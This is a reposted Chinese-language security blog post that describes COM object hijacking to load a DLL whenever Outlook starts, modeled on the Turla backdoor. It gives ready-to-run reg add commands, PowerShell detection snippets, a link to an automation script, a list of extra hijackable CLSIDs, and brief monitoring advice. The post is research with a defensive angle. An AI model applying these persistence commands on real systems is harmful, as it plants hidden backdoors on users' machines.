6

Use COM Object hijacking to maintain persistence——Hijack Outlook

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言


APT组织Trula使用的一个后门利用方法,通过COM劫持实现在Outlook启动时加载dll,特点是只需要当前用户的权限即可实现。

本文将参考公开的资料对这个方法进行测试,编写一个自动化利用脚本,扩展用法,分享多个可用的劫持位置,结合利用思路给出防御建议

参考资料:

https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf

0x01 简介


本文将要介绍以下内容:

  • Powershell脚本实现细节

0x02 利用方法


Outlook在启动时会加载多个COM对象,我们可以通过修改注册表的方式劫持Outlook的启动过程,用来加载DLL

这里的利用方法需要添加两个注册表,修改两个COM对象

由于是修改HKCU的注册表,所以使用当前用户权限即可

(1)COM对象1,用来加载第二个COM对象

添加如下注册表:

HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}

通过命令行实现的命令如下:

reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f

(2)COM对象2,用来加载DLL

添加如下注册表:

HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} = Mail Plugin
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 = [Path to the backdoor DLL]
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32\ThreadingModel = Apartment

通过命令行实现的命令如下:

reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "c:\\test\\calc.dll" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f

calc.dll可使用之前的测试DLL,地址为:https://github.com/3gstudent/test/blob/master/calc.dll

添加注册表后启动Outlook,多次加载DLL,弹出多个计算器,这里可以使用互斥量确保只弹出一个计算器,DLL的下载地址:

https://github.com/3gstudent/test/blob/master/calcmutex.dll

对于64位Windows系统,如果安装了32位的Office,两个COM对象的注册表位置需要修改为HKCU\Software\Classes\Wow6432Node\CLSID\

0x03 Powershell脚本实现细节


实现流程如下:

  1. 判断操作系统位数
  2. 判断Office软件版本
  3. 如果是64位系统安装32位Office,注册表的位置为HKCU\Software\Classes\Wow6432Node\CLSID\,否则,注册表的位置为HKCU\Software\Classes\CLSID\
  4. 添加对应注册表

具体代码如下:

1. 判断操作系统位数

if ([IntPtr]::Size -eq 8)
{
    '64-bit'
}
else
{
    '32-bit'
}

2. 判断安装office软件版本

查看默认安装路径C:\Program Files\Microsoft Office是否包含文件夹MEDIA

如果包含,那么为64位Office,否则为32位Office

powershell代码如下:

Try  
{  
	dir C:\Program Files\Microsoft Office\MEDIA
	Write-Host "Microsoft Office: 64-bit"
}
Catch  
{ 
	Write-Host "Microsoft Office: 32-bit"
}

实现代码已开源,地址如下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-OutlookPersistence.ps1

代码实现了自动判断操作系统位数和Office软件版本,添加对应的注册表项

0x04 扩展用法


使用Process Monitor监控Outlook启动过程,查找是否有其他可用的COM对象

经测试,我在Outlook2013上找到多个可用方法

COM对象1替换成以下任意一个,COM对象2保持不变

可用的COM对象1:

  • {B056521A-9B10-425E-B616-1FCD828DB3B1}
  • {EFEF7FDB-0CED-4FB6-B3BB-3C50D39F4120}
  • {93E5752E-B889-47C5-8545-654EE2533C64}
  • {56FDF344-FD6D-11D0-958A-006097C9A090}
  • {2163EB1F-3FD9-4212-A41F-81D1F933597F}
  • {A6A2383F-AD50-4D52-8110-3508275E77F7}
  • {F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}
  • {88D96A05-F192-11D4-A65F-0040963251E5}
  • {807583E5-5146-11D5-A672-00B0D022E945}
  • {529A9E6B-6587-4F23-AB9E-9C7D683E3C50}
  • {3CE74DE4-53D3-4D74-8B83-431B3828BA53}
  • {A4B544A1-438D-4B41-9325-869523E2D6C7}
  • {33C53A50-F456-4884-B049-85FD643ECFED}
  • {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}
  • {275C23E2-3747-11D0-9FEA-00AA003F8646}
  • {C15BB852-6F97-11D3-A990-00104B2A619F}
  • {ED475410-B0D6-11D2-8C3B-00104B2A6676}
  • {1299CF18-C4F5-4B6A-BB0F-2299F0398E27}
  • {DCB00C01-570F-4A9B-8D69-199FDBA5723B}
  • {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}

0x05 防御建议


监控以下注册表项下的创建和修改操作:

  • HKCU\Software\Classes\CLSID\
  • HKCU\Software\Classes\Wow6432Node\CLSID\

0x06 小结


本文介绍了通过COM劫持实现在Outlook启动时加载dll的方法,分享多个可用的劫持位置,结合利用思路给出防御建议


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK